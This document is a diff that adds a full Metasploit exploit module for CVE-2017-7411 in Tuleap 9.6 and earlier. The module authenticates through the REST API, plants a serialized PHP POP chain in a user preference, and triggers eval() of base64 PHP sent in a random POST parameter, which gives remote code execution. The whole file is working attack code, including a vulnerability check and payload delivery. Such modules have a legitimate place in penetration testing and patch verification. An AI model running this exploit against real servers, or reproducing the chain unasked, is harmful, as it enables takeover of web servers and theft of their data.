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| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class MetasploitModule < Msf::Exploit::Remote |
| 9 | + Rank = ExcellentRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::HttpClient |
| 12 | + |
| 13 | + def initialize(info = {}) |
| 14 | + super(update_info(info, |
| 15 | + 'Name' => 'Tuleap 9.6 Second-Order PHP Object Injection', |
| 16 | + 'Description' => %q{ |
| 17 | + This module exploits a Second-Order PHP Object Injection vulnerability in Tuleap <= 9.6 which |
| 18 | + could be abused by authenticated users to execute arbitrary PHP code with the permissions of the |
| 19 | + webserver. The vulnerability exists because of the User::getRecentElements() method is using the |
| 20 | + unserialize() function with data that can be arbitrarily manipulated by a user through the REST |
| 21 | + API interface. The exploit's POP chain abuses the __toString() method from the Mustache class |
| 22 | + to reach a call to eval() in the Transition_PostActionSubFactory::fetchPostActions() method. |
| 23 | + }, |
| 24 | + 'Author' => 'EgiX', |
| 25 | + 'License' => MSF_LICENSE, |
| 26 | + 'References' => |
| 27 | + [ |
| 28 | + ['URL', 'http://karmainsecurity.com/KIS-2017-02'], |
| 29 | + ['URL', 'https://tuleap.net/plugins/tracker/?aid=10118'], |
| 30 | + ['CVE', '2017-7411'] |
| 31 | + ], |
| 32 | + 'Privileged' => false, |
| 33 | + 'Platform' => ['php'], |
| 34 | + 'Arch' => ARCH_PHP, |
| 35 | + 'Targets' => [ ['Tuleap <= 9.6', {}] ], |
| 36 | + 'DefaultTarget' => 0, |
| 37 | + 'DisclosureDate' => 'Oct 23 2017' |
| 38 | + )) |
| 39 | + |
| 40 | + register_options( |
| 41 | + [ |
| 42 | + OptString.new('TARGETURI', [true, "The base path to the web application", "/"]), |
| 43 | + OptString.new('USERNAME', [true, "The username to authenticate with" ]), |
| 44 | + OptString.new('PASSWORD', [true, "The password to authenticate with" ]), |
| 45 | + OptString.new('AID', [ false, "The Artifact ID you have access to", "1"]), |
| 46 | + OptBool.new('SSL', [true, "Negotiate SSL for outgoing connections", true]), |
| 47 | + Opt::RPORT(443) |
| 48 | + ], self.class) |
| 49 | + end |
| 50 | + |
| 51 | + def setup_popchain(random_param) |
| 52 | + print_status("Trying to login through the REST API...") |
| 53 | + |
| 54 | + user = datastore['USERNAME'] |
| 55 | + pass = datastore['PASSWORD'] |
| 56 | + |
| 57 | + res = send_request_cgi({ |
| 58 | + 'method' => 'POST', |
| 59 | + 'uri' => normalize_uri(target_uri.path, 'api/tokens'), |
| 60 | + 'ctype' => 'application/json', |
| 61 | + 'data' => {'username' => user, 'password' => pass}.to_json |
| 62 | + }) |
| 63 | + |
| 64 | + unless res and (res.code == 201 or res.code == 200) and res.body |
| 65 | + msg = "Login failed with #{user}:#{pass}" |
| 66 | + if $is_check then print_error(msg) end |
| 67 | + fail_with(Failure::NoAccess, msg) |
| 68 | + end |
| 69 | + |
| 70 | + body = JSON.parse(res.body) |
| 71 | + uid = body['user_id']; |
| 72 | + token = body['token']; |
| 73 | + |
| 74 | + print_good("Login successful with #{user}:#{pass}") |
| 75 | + print_status("Updating user preference with POP chain string...") |
| 76 | + |
| 77 | + php_code = "null;eval(base64_decode($_POST['#{random_param}']));//" |
| 78 | + |
| 79 | + pop_chain = 'a:1:{i:0;a:1:{' |
| 80 | + pop_chain << 's:2:"id";O:8:"Mustache":2:{' |
| 81 | + pop_chain << 'S:12:"\00*\00_template";' |
| 82 | + pop_chain << 's:42:"{{#fetchPostActions}}{{/fetchPostActions}}";' |
| 83 | + pop_chain << 'S:11:"\00*\00_context";a:1:{' |
| 84 | + pop_chain << 'i:0;O:34:"Transition_PostAction_FieldFactory":1:{' |
| 85 | + pop_chain << 'S:23:"\00*\00post_actions_classes";a:1:{' |
| 86 | + pop_chain << "i:0;s:#{php_code.length}:\"#{php_code}\";}}}}}}" |
| 87 | + |
| 88 | + pref = {'id' => uid, 'preference' => {'key' => 'recent_elements', 'value' => pop_chain}} |
| 89 | + |
| 90 | + res = send_request_cgi({ |
| 91 | + 'method' => 'PATCH', |
| 92 | + 'uri' => normalize_uri(target_uri.path, "api/users/#{uid}/preferences"), |
| 93 | + 'ctype' => 'application/json', |
| 94 | + 'headers' => {'X-Auth-Token' => token, 'X-Auth-UserId' => uid}, |
| 95 | + 'data' => pref.to_json |
| 96 | + }) |
| 97 | + |
| 98 | + unless res and res.code == 200 |
| 99 | + msg = "Something went wrong" |
| 100 | + if $is_check then print_error(msg) end |
| 101 | + fail_with(Failure::UnexpectedReply, msg) |
| 102 | + end |
| 103 | + end |
| 104 | + |
| 105 | + def do_login() |
| 106 | + print_status("Retrieving the CSRF token for login...") |
| 107 | + |
| 108 | + res = send_request_cgi({ |
| 109 | + 'method' => 'GET', |
| 110 | + 'uri' => normalize_uri(target_uri.path, 'account/login.php') |
| 111 | + }) |
| 112 | + |
| 113 | + if res and res.code == 200 and res.body and res.get_cookies |
| 114 | + if res.body =~ /name="challenge" value="(\w+)">/ |
| 115 | + csrf_token = $1 |
| 116 | + print_good("CSRF token: #{csrf_token}") |
| 117 | + else |
| 118 | + print_warning("CSRF token not found. Trying to login without it...") |
| 119 | + end |
| 120 | + else |
| 121 | + msg = "Failed to retrieve the login page" |
| 122 | + if $is_check then print_error(msg) end |
| 123 | + fail_with(Failure::NoAccess, msg) |
| 124 | + end |
| 125 | + |
| 126 | + user = datastore['USERNAME'] |
| 127 | + pass = datastore['PASSWORD'] |
| 128 | + |
| 129 | + res = send_request_cgi({ |
| 130 | + 'method' => 'POST', |
| 131 | + 'cookie' => res.get_cookies, |
| 132 | + 'uri' => normalize_uri(target_uri.path, 'account/login.php'), |
| 133 | + 'vars_post' => {'form_loginname' => user, 'form_pw' => pass, 'challenge' => csrf_token} |
| 134 | + }) |
| 135 | + |
| 136 | + unless res and res.code == 302 |
| 137 | + msg = "Login failed with #{user}:#{pass}" |
| 138 | + if $is_check then print_error(msg) end |
| 139 | + fail_with(Failure::NoAccess, msg) |
| 140 | + end |
| 141 | + |
| 142 | + print_good("Login successful with #{user}:#{pass}") |
| 143 | + res.get_cookies |
| 144 | + end |
| 145 | + |
| 146 | + def exec_php(php_code) |
| 147 | + random_param = rand_text_alpha(10) |
| 148 | + |
| 149 | + setup_popchain(random_param) |
| 150 | + session_cookies = do_login() |
| 151 | + |
| 152 | + print_status("Triggering the POP chain...") |
| 153 | + |
| 154 | + res = send_request_cgi({ |
| 155 | + 'method' => 'POST', |
| 156 | + 'uri' => normalize_uri(target_uri.path, "plugins/tracker/?aid=#{datastore['AID']}"), |
| 157 | + 'cookie' => session_cookies, |
| 158 | + 'vars_post' => {random_param => Rex::Text.encode_base64(php_code)} |
| 159 | + }) |
| 160 | + |
| 161 | + if res and res.code == 200 and res.body =~ /Exiting with Error/ |
| 162 | + msg = "No access to Artifact ID #{datastore['AID']}" |
| 163 | + $is_check ? print_error(msg) : fail_with(Failure::NoAccess, msg) |
| 164 | + end |
| 165 | + |
| 166 | + res |
| 167 | + end |
| 168 | + |
| 169 | + def check |
| 170 | + $is_check = true |
| 171 | + flag = rand_text_alpha(rand(10)+20) |
| 172 | + res = exec_php("print '#{flag}';") |
| 173 | + |
| 174 | + if res and res.code == 200 and res.body =~ /#{flag}/ |
| 175 | + return Exploit::CheckCode::Vulnerable |
| 176 | + elsif res and res.body =~ /Exiting with Error/ |
| 177 | + return Exploit::CheckCode::Unknown |
| 178 | + end |
| 179 | + |
| 180 | + Exploit::CheckCode::Safe |
| 181 | + end |
| 182 | + |
| 183 | + def exploit |
| 184 | + $is_check = false |
| 185 | + exec_php(payload.encoded) |
| 186 | + end |
| 187 | +end |
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